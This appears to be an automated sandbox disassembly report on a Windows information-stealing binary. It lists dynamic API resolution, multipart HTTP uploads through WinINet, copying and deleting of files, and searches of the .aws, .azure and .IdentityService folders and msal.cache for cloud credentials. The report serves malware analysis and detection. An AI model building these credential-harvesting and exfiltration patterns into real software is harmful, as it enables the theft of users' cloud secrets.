Opcode Fuzzy Hash: 361b72b2455e7d4f4d3676c281e3341896d2067e157358f820b36d182e0c7695
Instruction Fuzzy Hash: BBD1A571A00108ABCB04EBF1DC4AEEE7739AF54314F50851EF103A7191DF78AA95CB69

Function 00419270 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,0248CD80), ref: 004192B1
GetProcAddress.KERNEL32(75900000,0248CDB0), ref: 004192CA
GetProcAddress.KERNEL32(75900000,024A6BD8), ref: 004192E2
GetProcAddress.KERNEL32(75900000,024A6BA8), ref: 004192FA
GetProcAddress.KERNEL32(75900000,024A6BF0), ref: 00419313
GetProcAddress.KERNEL32(75900000,024864D0), ref: 0041932B
GetProcAddress.KERNEL32(75900000,02485BE8), ref: 00419343
GetProcAddress.KERNEL32(75900000,02485928), ref: 0041935C
GetProcAddress.KERNEL32(75900000,024A6C38), ref: 00419374
GetProcAddress.KERNEL32(75900000,024A6C20), ref: 0041938C
GetProcAddress.KERNEL32(75900000,024A6C50), ref: 004193A5
GetProcAddress.KERNEL32(75900000,024A6C08), ref: 004193BD
GetProcAddress.KERNEL32(75900000,02485968), ref: 004193D5
GetProcAddress.KERNEL32(75900000,024A6C68), ref: 004193EE
GetProcAddress.KERNEL32(75900000,024A6BC0), ref: 00419406
GetProcAddress.KERNEL32(75900000,02485AE8), ref: 0041941E
GetProcAddress.KERNEL32(75900000,024A6A70), ref: 00419437
GetProcAddress.KERNEL32(75900000,024A6A88), ref: 0041944F
GetProcAddress.KERNEL32(75900000,02485B28), ref: 00419467
GetProcAddress.KERNEL32(75900000,024A6A58), ref: 00419480
GetProcAddress.KERNEL32(75900000,024858C8), ref: 00419498
LoadLibraryA.KERNEL32(024A6B78,?,004164A0), ref: 004194AA
LoadLibraryA.KERNEL32(024A6B90,?,004164A0), ref: 004194BB
LoadLibraryA.KERNEL32(024A6938,?,004164A0), ref: 004194CD
LoadLibraryA.KERNEL32(024A68A8,?,004164A0), ref: 004194DF
LoadLibraryA.KERNEL32(024A68D8,?,004164A0), ref: 004194F0
GetProcAddress.KERNEL32(75070000,024A68C0), ref: 00419512
GetProcAddress.KERNEL32(75FD0000,024A6B60), ref: 00419533
GetProcAddress.KERNEL32(75FD0000,024A6B00), ref: 0041954B
GetProcAddress.KERNEL32(75A50000,024A68F0), ref: 0041956D
GetProcAddress.KERNEL32(74E50000,02485B08), ref: 0041958E
GetProcAddress.KERNEL32(76E80000,02486500), ref: 004195AF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 004195C6

Strings

NtQueryInformationProcess, xrefs: 004195BA

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction ID: 826a308167d33dd6e89c68d84aa8ae535e40b86c028b310e96c4c1ecb1cfdbe7
Opcode Fuzzy Hash: 3c4f576e88d1023c8c64455e8d299a229b8a4e9f9ed258e654ba581a00c5eb17
Instruction Fuzzy Hash: D3A171B5500A00EFC764DF68ED88E1E3BBBBB4C361B50A51AEA05C3674D7349843DBA5

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,024AAD50), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,024AACA0,?,024AA2E8,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,024AAD20,00000000,?,02488F58,00000000,?,00421980,00000000,?,00414CAF), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405872
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(00000000), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 00405549
--, xrefs: 004052D0
", xrefs: 004054D2
------, xrefs: 00405407
", xrefs: 00405614
------, xrefs: 0040568B
", xrefs: 00405756
------, xrefs: 004052E7

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: b7a2700fc308d7a4686d84a4f93ccac6821336ecb79079f62d44d7bdd3875dcb
Instruction ID: 1d52745d65e853cf4120aa405e943018ad764f54ae2154c0ea3196726ecd4ecf
Opcode Fuzzy Hash: b7a2700fc308d7a4686d84a4f93ccac6821336ecb79079f62d44d7bdd3875dcb
Instruction Fuzzy Hash: 8E325071921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 004059B0 Relevance: 46.0, APIs: 19, Strings: 7, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405A48
StrCmpCA.SHLWAPI(?,024AAD50), ref: 00405A63
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405BE3
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,024AAC20,00000000,?,02488F58,00000000,?,004219C0), ref: 00405EC1
lstrlenA.KERNEL32(00000000), ref: 00405ED2
GetProcessHeap.KERNEL32(00000000,?), ref: 00405EE3
HeapAlloc.KERNEL32(00000000), ref: 00405EEA
lstrlenA.KERNEL32(00000000), ref: 00405EFF
memcpy.MSVCRT ref: 00405F16
lstrlenA.KERNEL32(00000000), ref: 00405F28
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405F41
memcpy.MSVCRT ref: 00405F4E
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F6B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F7F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F9C
InternetCloseHandle.WININET(00000000), ref: 00406000
InternetCloseHandle.WININET(00000000), ref: 0040600D
HttpOpenRequestA.WININET(00000000,024AACA0,?,024AA2E8,00000000,00000000,00400100,00000000), ref: 00405C48

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00406017

Strings

XA, xrefs: 004060CA
", xrefs: 00405D25
------, xrefs: 00405D9C
", xrefs: 00405E66
XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
------, xrefs: 00405C5B
------, xrefs: 00405AE6

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$XA$XA
API String ID: 1710586764-2501203334
Opcode ID: 41dd1c3fa778c75f984447c9ba6df88760d05e8929742968a9cbcd566ae53596
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 41dd1c3fa778c75f984447c9ba6df88760d05e8929742968a9cbcd566ae53596
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: 17e480843c5a5418f6267afdab590b000a7236c22bd7ee93f8a596a15c13b47d
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 17e480843c5a5418f6267afdab590b000a7236c22bd7ee93f8a596a15c13b47d
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02488EC8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,024864E0,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: e350a5e6345efc8b700c412f099c769ed198930aa1959d5996c7bd5b2cbfbcbc
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: e350a5e6345efc8b700c412f099c769ed198930aa1959d5996c7bd5b2cbfbcbc
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,0248BC88), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576
Part of subcall function 004143F0: CopyFileA.KERNEL32(?,?,00000001), ref: 0041458C
Part of subcall function 004143F0: DeleteFileA.KERNEL32(?), ref: 00414611

memset.MSVCRT ref: 00414A0B

Strings

Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
\.aws\, xrefs: 0041492D
Azure\.azure, xrefs: 004148B3
\.IdentityService\, xrefs: 004149B9
Azure\.aws, xrefs: 0041493F
*.*, xrefs: 00414944
\.azure\, xrefs: 004148A1
Azure\.IdentityService, xrefs: 004149CB
*.*, xrefs: 004148B8
msal.cache, xrefs: 004149D0

Memory Dump Source

Source File: 00000000.00000002.2380791496.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2380791496.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2380791496.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 4017274736-156850865
Opcode ID: d14012baed451d6306e9d8ef3a74db606c8f5a41717c6bf3547edc018cd5beda
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: d14012baed451d6306e9d8ef3a74db606c8f5a41717c6bf3547edc018cd5beda
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004048D0 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
